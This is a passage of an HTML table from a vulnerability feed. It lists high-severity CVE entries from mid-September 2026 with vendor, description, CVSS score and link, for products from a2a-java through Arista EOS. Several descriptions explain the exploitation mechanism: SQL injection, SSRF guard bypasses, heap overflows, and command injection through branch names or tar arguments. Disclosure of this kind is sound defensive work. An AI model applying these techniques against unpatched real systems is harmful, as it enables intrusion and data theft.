&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2aproject--a2a-java&lt;/td&gt;
&lt;td&gt;A weakness has been identified in a2aproject a2a-java 1.2.0. The affected element is the function BasePushNotificationSender.dispatchNotification of the file server-common/src/main/java/org/a2aproject/sdk/server/tasks/BasePushNotificationSender.java of the component Authorization Header Construction. This manipulation causes http response splitting. The attack can be initiated remotely. Upgrading to version 1.3.0 is sufficient to fix this issue. Patch name: 247a655043f145f6f8e3853724b6a543eaa02001. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90819&quot; target=&quot;_blank&quot;&gt;CVE-2026-90819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2ui-project--a2ui&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in a2ui-project a2ui up to 0.10.7. Affected by this vulnerability is the function httpx.get of the file agent_sdks/python/a2ui_agent/src/a2ui/extensions/file_resolve/file_resolver.py of the component FileResolver. The manipulation leads to server-side request forgery. It is possible to initiate the attack remotely. The identifier of the patch is 2bb8423060308bbdea8ba468dabed4fc256d18ea. To fix this issue, it is recommended to deploy a patch.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92215&quot; target=&quot;_blank&quot;&gt;CVE-2026-92215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ABB--Freelance Controller DCP&lt;/td&gt;
&lt;td&gt;Improper handling of length parameter inconsistency vulnerability in ABB Freelance Controller DCP, ABB Freelance Controller AC700, ABB Freelance Controller AC800, and ABB Freelance Controller AC900. This issue affects Freelance Controller DCP: through 2013, 2013 SP1, 2016, 2016 SP1, 2019, and 2019 SP1; Freelance Controller AC700: through 2013, 2013 SP1, 2016, 2016 SP1, 2019, and 2019 SP1; Freelance Controller AC800: through 2013, 2013 SP1, 2016, 2016 SP1, 2019, and 2019 SP1; Freelance Controller AC900: through 2013, 2013 SP1, 2016, 2016 SP1, 2019, and 2019 SP1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-5778&quot; target=&quot;_blank&quot;&gt;CVE-2023-5778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;absmach--magistrala&lt;/td&gt;
&lt;td&gt;Magistrala before 1.0.0 contains a SQL injection vulnerability in the timescale-reader and postgres-reader HTTP API services that allows authenticated attackers to inject arbitrary SQL by supplying a malicious format query parameter that is interpolated directly into the FROM clause without parameterization or identifier quoting. Attackers with a self-registered account can substitute arbitrary subqueries to achieve cross-tenant database reads, extract pg_shadow password hashes, read and write arbitrary files, and execute arbitrary code as the postgres OS user by loading attacker-supplied shared objects, with all injected SQL executing at superuser privilege due to the default PostgreSQL role configuration.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82028&quot; target=&quot;_blank&quot;&gt;CVE-2026-82028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1, A crafted cineon image can declare unsupported component bit depth 26. cineoninput::open() maps it to a 32-bit imagespec, but libcineon maps the unsupported depth to an 8-byte value, so cineoninput::read_native_scanline() causes attacker-controlled data to be written beyond the 4-byte-per-pixel caller buffer, resulting in a heap out-of-bounds write and memory corruption. The affected implementation is identified by src/cineon.imageio/cineoninput.cpp, CineonInput::open(), CineonInput::read_native_scanline(), ComponentDataSize(), bit depth 26, and ImageSpec, which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63638&quot; target=&quot;_blank&quot;&gt;CVE-2026-63638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1, A zbuffer-only tiled iff is exposed with a 16-bit public imagespec while the decoder retains a 32-bit internal pixel size. iffinput::read_native_tile() copies according to m_header.pixel_bytes() rather than imagespec::tile_bytes(true), and a failed read can leave m_buf nonempty so a later call copies partially initialized data into the undersized caller buffer, resulting in a heap out-of-bounds write and memory corruption. The affected implementation is identified by src/iff.imageio/iffinput.cpp, IffInput::read_native_tile(), ImageSpec::tile_bytes(true), m_header.pixel_bytes(), ZBUFFER, and m_buf, which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63419&quot; target=&quot;_blank&quot;&gt;CVE-2026-63419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1, A valid tiled openexr image whose width is not a multiple of its tile width can trigger an overflow when a caller reads a partial edge-tile rectangle. openexrinput::read_native_tiles() copies each row into the caller buffer using the padded whole-tile scanline_stride rather than user_scanline_bytes for the requested rectangle, resulting in a heap out-of-bounds write and memory corruption. The affected implementation is identified by src/openexr.imageio/exrinput.cpp, OpenEXRInput::read_native_tiles(), partial edge tile, user_scanline_bytes, and scanline_stride, which define the relevant source path, functions, state, and trigger. This issue is fixed in versions 3.0.21.0, 3.1.16.0, and 3.2.0.3-beta1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63422&quot; target=&quot;_blank&quot;&gt;CVE-2026-63422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AcademySoftwareFoundation--OpenImageIO&lt;/td&gt;
&lt;td&gt;OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.1.16.0, A crafted 1-bit contiguous cmyk tiff is exposed through a native uint1 imagespec, so callers allocate a bit-packed buffer. tiffinput::read_native_scanline_locked() nevertheless invokes tiffinput::bit_convert() with 8-bit output and writes one expanded byte per value into that smaller buffer, resulting in a heap out-of-bounds write and memory corruption. The affected implementation is identified by src/tiff.imageio/tiffinput.cpp, TIFFInput::bit_convert(), TIFFInput::read_native_scanline_locked(), PHOTOMETRIC_SEPARATED, 1-bit CMYK, and native uint1 ImageSpec, which define the relevant source path, functions, state, and trigger. This issue is fixed in 3.1.16.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67549&quot; target=&quot;_blank&quot;&gt;CVE-2026-67549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acode-Foundation--Acode&lt;/td&gt;
&lt;td&gt;Acode is a powerful text and code editor for Android. From 1.11.6 until 1.12.7, com.foxdebug.acode.rk.exec.terminal.TerminalService is declared as an exported service in src/plugins/terminal/plugin.xml without a binding permission, and src/plugins/terminal/src/android/TerminalService.java does not verify the caller. Any installed Android application can bind the service and send MSG_EXEC with an attacker-controlled cmd value, which the terminal implementation passes to ProcessBuilder with sh -c inside Acode&#039;s UID. This allows a zero-permission local application to execute commands with access to Acode private data, remote credentials, Storage Access Framework grants, and runtime permissions without additional interaction at attack time. This issue is fixed in version 1.12.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68928&quot; target=&quot;_blank&quot;&gt;CVE-2026-68928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Activiti--Activiti&lt;/td&gt;
&lt;td&gt;Activiti through 7.1.0.M6 fails to validate hash-brace deferred expressions in process variables, allowing attackers to bypass expression filtering. Attackers can inject expressions beginning with #{ that are stored and later evaluated in the full Spring context when a mail task uses variable-backed body fields, enabling method invocation on application beans.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91145&quot; target=&quot;_blank&quot;&gt;CVE-2026-91145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;adnanh--webhook&lt;/td&gt;
&lt;td&gt;webhook through 2.8.3 reads the entire request body into memory before evaluating trigger rules, allowing unauthenticated attackers to exhaust memory by sending oversized bodies. Attackers can send multi-gigabyte request bodies with invalid signatures to trigger out-of-memory conditions and crash the service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91080&quot; target=&quot;_blank&quot;&gt;CVE-2026-91080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ag-ui-protocol--ag-ui&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in ag-ui-protocol ag-ui 1.0. This impacts an unknown function of the file crates/ag-ui-client/src/sse.rs of the component SSE Frame Parser. Performing a manipulation results in resource consumption. The attack is possible to be carried out remotely. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92362&quot; target=&quot;_blank&quot;&gt;CVE-2026-92362&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;agentfront--frontmcp&lt;/td&gt;
&lt;td&gt;FrontMCP is a TypeScript-first framework for the Model Context Protocol (MCP). From mcp-from-openapi 2.3.0 until 2.5.0 and from frontmcp and @frontmcp/adapters 1.2.1 until 1.5.0, libs/adapters/src/openapi/openapi.adapter.ts loadOpenAPISpec() forwards untrusted OpenAPI url and spec inputs and loadOptions.refResolution to OpenAPIToolGenerator.fromURL() and OpenAPIToolGenerator.fromJSON(). The external $ref guard checks parsed hostname strings without resolving addresses, pinning validated addresses, revalidating redirect targets, or normalizing IPv4-mapped IPv6. An authenticated user who can import or configure an OpenAPI specification in a hosted or multi-user deployment can use DNS-to-loopback resolution, redirect-to-loopback behavior, or IPv4-mapped IPv6 loopback forms to cause backend-origin requests to internal services. This can expose internal administrative APIs, metadata-like services, and other private network endpoints. The practical impact is lower when only a trusted local administrator can configure OpenAPI specs, and disabling external reference protocols prevents the external $ref request. This issue is fixed in mcp-from-openapi 2.5.0 and frontmcp and @frontmcp/adapters 1.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59973&quot; target=&quot;_blank&quot;&gt;CVE-2026-59973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aiyiyi121--SxDevOps&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in aiyiyi121 SxDevOps 1.0/1.1. This vulnerability affects the function ensure_default_superuser of the file rbac/services.py. The manipulation leads to hard-coded credentials. The attack is possible to be carried out remotely. The identifier of the patch is 2b4bf8585c3e731e7a8af30801ea46680bc783f9. It is recommended to apply a patch to fix this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93969&quot; target=&quot;_blank&quot;&gt;CVE-2026-93969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aiyiyi121--SxDevOps&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in aiyiyi121 SxDevOps 1.0/1.1. This issue affects some unknown processing of the file backend/sxdevops/settings.py of the component Settings Handler. The manipulation results in hard-coded credentials. The attack may be performed from remote. The patch is identified as 2b4bf8585c3e731e7a8af30801ea46680bc783f9. Applying a patch is advised to resolve this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93970&quot; target=&quot;_blank&quot;&gt;CVE-2026-93970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alanxz--rabbitmq-c&lt;/td&gt;
&lt;td&gt;rabbitmq-c is a C-language AMQP client library for RabbitMQ. Prior to 0.16.0, a malicious AMQP server can send an undersized connection.tune.frame_max value during amqp_login(), and rabbitmq-c accepts the value in amqp_login_inner() in librabbitmq/amqp_socket.c. amqp_tune_connection() in librabbitmq/amqp_connection.c uses frame_max to reallocate the outbound buffer without enforcing AMQP_FRAME_MIN_SIZE. Immediate serialization of connection.tune-ok through amqp_frame_to_bytes() writes beyond the undersized heap allocation, causing memory corruption and likely denial of service. An on-path attacker can also trigger the flaw against plaintext AMQP traffic. Code execution is theoretically possible but was not demonstrated. This issue is fixed in version 0.16.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44236&quot; target=&quot;_blank&quot;&gt;CVE-2026-44236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AlchemyCMS--alchemy_cms&lt;/td&gt;
&lt;td&gt;Alchemy is an open source content management system engine written in Ruby on Rails. Prior to 7.4.15, 8.0.15, 8.1.14, and 8.2.6, the unauthenticated GET /api/pages/nested endpoint implemented by Api::PagesController#nested in app/controllers/alchemy/api/pages_controller.rb returns an unfiltered page tree because it performs no authorization and does not scope descendants by the caller&#039;s ability. Anonymous callers can retrieve restricted and unpublished page metadata that the sibling show action denies. When elements=true is supplied, PageTreeSerializer also returns element and ingredient content from restricted pages because PageTreePreloader and the serializer do not apply an ability check to those records. This issue is fixed in versions 7.4.15, 8.0.15, 8.1.14, and 8.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57579&quot; target=&quot;_blank&quot;&gt;CVE-2026-57579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Alinto--SOGo&lt;/td&gt;
&lt;td&gt;SOGo before 5.12.11 constructs password-reset links using the client-supplied Origin header as the authority, allowing unauthenticated attackers to redirect recovery tokens to attacker-controlled domains. Attackers can submit password recovery requests with a malicious Origin header to have valid password-reset tokens mailed to victim recovery addresses within links pointing to attacker infrastructure, enabling account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93453&quot; target=&quot;_blank&quot;&gt;CVE-2026-93453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Amazon--ca-certificates&lt;/td&gt;
&lt;td&gt;The ca-certificates package before ca-certificates-2021.2.50-72 for Amazon Linux 2 (AL2) does not properly remove certain TrustCor root certificates from the root store. NOTE: this issue exists because of an incorrect fix for CVE-2022-23491.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-32803&quot; target=&quot;_blank&quot;&gt;CVE-2023-32803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;andrea9293--mcp-documentation-server&lt;/td&gt;
&lt;td&gt;MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated document-management API to all interfaces rather than localhost. A network-reachable client can invoke GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, and GET /api/config without credentials to enumerate and read documents, search the corpus, insert or delete documents, and tamper with the MCP assistant&#039;s knowledge base. The service must be reachable from the attacker&#039;s LAN, VM network, container bridge, VPN, or another routed network, and the issue does not provide remote code execution. This issue is fixed in 1.13.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54504&quot; target=&quot;_blank&quot;&gt;CVE-2026-54504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Angel-ML--angel&lt;/td&gt;
&lt;td&gt;Angel through 3.3.0 deserializes untrusted setAlgoMetrics payload using Kryo without class registration or allowlist validation. Unauthenticated network attackers can instantiate arbitrary classes or exhaust coordinator memory by sending crafted serialized objects to the master RPC endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92785&quot; target=&quot;_blank&quot;&gt;CVE-2026-92785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;appwrite--appwrite&lt;/td&gt;
&lt;td&gt;Appwrite before 2.0.0 contains an argument injection vulnerability that allows authenticated users with functions.write or sites.write permissions to execute arbitrary commands by injecting TAB characters into the providerRootDirectory parameter used to construct GNU tar commands. The application uses escapeshellcmd instead of escapeshellarg and fails to quote the parameter, allowing TAB characters to survive sanitization and be interpreted as argument separators, enabling injection of arbitrary GNU tar arguments such as --checkpoint-action=exec to achieve remote code execution as the builds worker process user.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89036&quot; target=&quot;_blank&quot;&gt;CVE-2026-89036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB is a Multi-Model DBMS. Prior to 26.6.1, the fix for CVE-2026-44221 added an UPDATE_SCHEMA authorization check only to LocalDocumentType.createProperty, while the remaining public schema mutators in engine/src/main/java/com/arcadedb/schema/LocalDocumentType.java and engine/src/main/java/com/arcadedb/schema/LocalProperty.java remained unchecked. An authenticated identity, including a read-only API token without UPDATE_SCHEMA permission, can use DROP PROPERTY, ALTER TYPE, or ALTER PROPERTY through the database command/query HTTP endpoints to rename types, change inheritance, alter aliases or buckets, drop properties, and change property constraints. The issue does not directly disclose or write record data, but unauthorized schema mutation can corrupt the meaning of stored records and breach the documented permission model. This issue is fixed in version 26.6.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54076&quot; target=&quot;_blank&quot;&gt;CVE-2026-54076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB before 26.9.1 fails to enforce security-group types ACL entries for TimeSeries types because the ACL resolver builds permissions from bucket IDs, but TimeSeries types do not own normal record buckets. An authenticated low-privilege user can read or insert TimeSeries samples despite explicit deny rules by exploiting the missing type-name-based access check that causes permission lookups to fail open.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93593&quot; target=&quot;_blank&quot;&gt;CVE-2026-93593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB (Maven artifact com.arcadedb:arcadedb-engine) through 26.8.1 enforces its per-type/per-record access-control rules only in LocalBucket, keyed on file id. Query-execution paths that reach record data through LSM index files or the TimeSeries engine never invoke that permission check, so an authenticated user who is denied readRecord/deleteRecord on a type can still, with a single ordinary SQL statement, read the type&#039;s indexed key values and record IDs (e.g. SELECT key, rid FROM INDEX:Type[field]), read MAX/MIN values via the index shortcut, read and count TimeSeries samples, learn the type&#039;s record count, and delete index entries (DELETE FROM INDEX:Type[field]), which desynchronizes the index from the data and can defeat unique constraints. Index and type names needed for exploitation are discoverable because SELECT FROM schema:indexes is unfiltered. The issue affects both embedded and server deployments and all transports (HTTP, Bolt, Postgres, Gremlin) once a principal is bound. Fixed in 26.9.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93594&quot; target=&quot;_blank&quot;&gt;CVE-2026-93594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB is a Multi-Model DBMS. Prior to 26.6.1, the IMPORT DATABASE statement in engine/src/main/java/com/arcadedb/query/sql/parser/ImportDatabaseStatement.java did not require administrative privileges and passed its source to integration/src/main/java/com/arcadedb/integration/importer/SourceDiscovery.java without validation. An authenticated user with SQL command access through /api/v1/command or /api/v1/query can supply HTTP or HTTPS destinations to make server-side requests to internal services, or file:// paths to read files accessible to the server process and ingest the results as queryable records. The XML importer also permits DTD processing and external entities, enabling entity expansion. The root-only /api/v1/server administration endpoint is not affected. The fix requires updateSecurity permission, blocks local-network import destinations by default through arcadedb.server.security.importBlockLocalNetworks, supports the arcadedb.server.security.importAllowedLocalPaths file allow-list, and disables XML DTD processing and external entities. This issue is fixed in version 26.6.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54077&quot; target=&quot;_blank&quot;&gt;CVE-2026-54077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB is a Multi-Model DBMS. Prior to 26.7.1, a reader-role user can submit POST /api/v1/command/{database} with language: js because PolyglotQueryEngine.command, PolyglotQueryEngine.analyze, and PolyglotQueryEngine.registerFunctions do not enforce database-administrator authorization. GraalPolyglotEngine also permits scripts to bypass the allowedPackages whitelist by reflecting from the bound database object through database.getClass().getClassLoader().loadClass to arbitrary host classes. These cooperating defects allow a read-only database user to read arbitrary host files outside the database scope. Process creation is already blocked, so OS command execution is not confirmed. The issue is distinct from CVE-2026-44221, CVE-2026-54076, and CVE-2026-54077. This issue is fixed in version 26.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65831&quot; target=&quot;_blank&quot;&gt;CVE-2026-65831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB versions before 26.9.1 fail to validate IPv6 transition addresses in the SSRF guard used by IMPORT DATABASE and server commands. Authenticated attackers can supply URLs resolving to NAT64, 6to4, or Teredo addresses embedding RFC 1918 or loopback IPv4 payloads to reach internal services and cloud metadata endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93597&quot; target=&quot;_blank&quot;&gt;CVE-2026-93597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;argoproj--argo-workflows&lt;/td&gt;
&lt;td&gt;Argo Workflows versions 4.1.0 through 4.1.3 contain an authorization bypass vulnerability in ListArchivedWorkflows that fails to apply cluster-scoped access review when the metadata.namespace field selector uses the NotEquals operator. Attackers with namespace-scoped list permissions can use a negated namespace field selector to retrieve archived workflows from all other namespaces, exposing spec arguments, parameter values, and annotations.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93991&quot; target=&quot;_blank&quot;&gt;CVE-2026-93991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;argos-ci--argos-javascript&lt;/td&gt;
&lt;td&gt;Argos JavaScript provides official Argos SDKs for JavaScript. Prior to Argos core package version 6.2.1, attacker-controlled CI branch or ref values from GITHUB_HEAD_REF or ARGOS_BRANCH can flow through config.branch and getMergeBaseCommitSha() when hasRemoteContentAccess is false. The gitFetch() and gitMergeBase() functions in packages/core/src/ci-environment/git.ts interpolate these values into execSync() command strings executed by /bin/sh -c, so shell metacharacters in a pull-request branch name can execute arbitrary commands with the Argos upload process privileges on the CI runner. Successful exploitation can expose CI secrets, alter build artifacts, or compromise the runner. This issue is fixed in Argos core package version 6.2.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59960&quot; target=&quot;_blank&quot;&gt;CVE-2026-59960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;An unauthenticated P4Runtime (Programming Protocol-Independent Packet Processors Runtime) client can achieve arbitrary code execution under certain conditions on affected platforms running Arista EOS configured with P4Runtime. P4Runtime is disabled by default in Arista EOS. By crafting a malicious packet during the initiation of a P4Runtime session, an attacker can obtain complete administrative control over the compromised switch. This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73453&quot; target=&quot;_blank&quot;&gt;CVE-2026-73453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
